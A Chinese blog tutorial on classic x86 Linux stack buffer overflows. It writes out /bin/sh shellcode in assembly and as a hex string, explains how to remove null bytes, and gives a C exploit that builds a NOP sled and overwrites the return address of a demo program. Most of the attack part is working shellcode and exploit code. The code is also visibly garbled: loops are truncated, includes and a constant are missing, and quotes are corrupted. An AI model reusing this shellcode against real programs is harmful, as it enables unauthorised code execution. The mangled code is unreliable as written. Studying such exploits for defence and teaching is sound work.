int $0×80 但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用,如何来分配和定位字符串“ /bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢 ?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。
利用call压入下一条语句的返回地址,把数据作为下一条指令我们就可以达到目的。
Jmp CALL
Popl %esi ‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址
movb $0×0,0×7(%esi) ‘输入0的字符串为结尾
mov %esi,0X8 (%esi) ‘构造NAME数组,放如字串的地址作为NAME[0]
mov $0×0,0xc(%esi) ‘构造NAME[1]为NULL, NAME[0]为4位地址,所以偏移为0xc
mov %esi,%ebx ‘设置数据段开始的地址
leal 0×8(%esi),%ecx ‘设置参数1
leal 0xc(%esi),%edx ‘设置参数2
mov $0xb,%eax ‘设置调用号
int $0×80 ‘调用
mov $0×0,%ebx
mov $0×1,%eax
int $0×80
Call popl
.string \”/bin/sh\” 然后通过C编译器编写MYSHELLASM.C
运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的, 通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLASM可以运行
ret = (int *)&ret + 2; //ret 等于main()执行完后的返回系统的地址
//(+2是因为:有pushl ebp ,否则加1就可以了。) 但是在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时 候,以”\0″ 为字符串结尾。遇\0就结束了写xx作。Myshell中有0X00的字符存在。
把所有赋予0的xx作用异或或者MOV已知为0的寄存器赋值来完成
jmp 0x1f
popl %esi
movl %esi,0×8(%esi)
xorl %eax,%eax
movb %eax,0×7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0×8(%esi),%ecx
leal 0xc(%esi),%edx
int $0×80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0×80
call -0×24
.string \”/bin/sh\” 汇编得出的
shellcode =
“\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46″
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;
我们开始来写一个攻击DEMO溢出的例子
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。 对于strcpy函数,我们要知道被溢出的缓冲的的地址。对于xx作系统来说,一个shell下的每一个程序的 堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址,来知道了目标程 序堆栈的开始地址。
(所有C函数的返回值都放在eax 寄存器 里面):
unsigned long get_sp(void) {
__asm__(“movl %esp,%eax”);
}
buffer相对于堆栈开始地址的偏移,对于DEMO我们可以计算出来,但对于真正有溢出毛病的程序我们在没 有源代码和去跟踪汇编是无法计算出的,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。为了 提高命中率,增加溢出的SHELLCODE的长度和NOP指令,NOP指令的机器码为0×90。 同时在我们的程序中允 许输入参数来调节溢出点。
#include
#include
#define OFFSET 0
#define RET_POSITION 120
#define RANGE 20
#define NOP 0×90 char shellcode[]=
“\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46″
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”; unsigned long get_sp(void)
{
__asm__(“movl %esp,%eax”);
} main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i; if(argc>1)
offset=atoi(argv[1]); sp=get_sp();
addr=sp-offset; for(i=0;i *((long *)&(buff[i]))=addr; for(i=0;i buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode[i];
buff[bsize-1]=”\0″
for(i=0;i<132;i++) printf(“0x%08x\n”,buff[i]);
printf(“Jump to 0x%08x\n”,addr); execl(“./demo”,”demo”,buff,0);
}
注意,如果发现溢出允许的空间不足够SHELLCODE的代码,那么可以把地址放到前面去,SHELLCODE放在地 址的后面,程序进行一些改动,原理一致 .

 

Share
分类: Hacker 标签: ,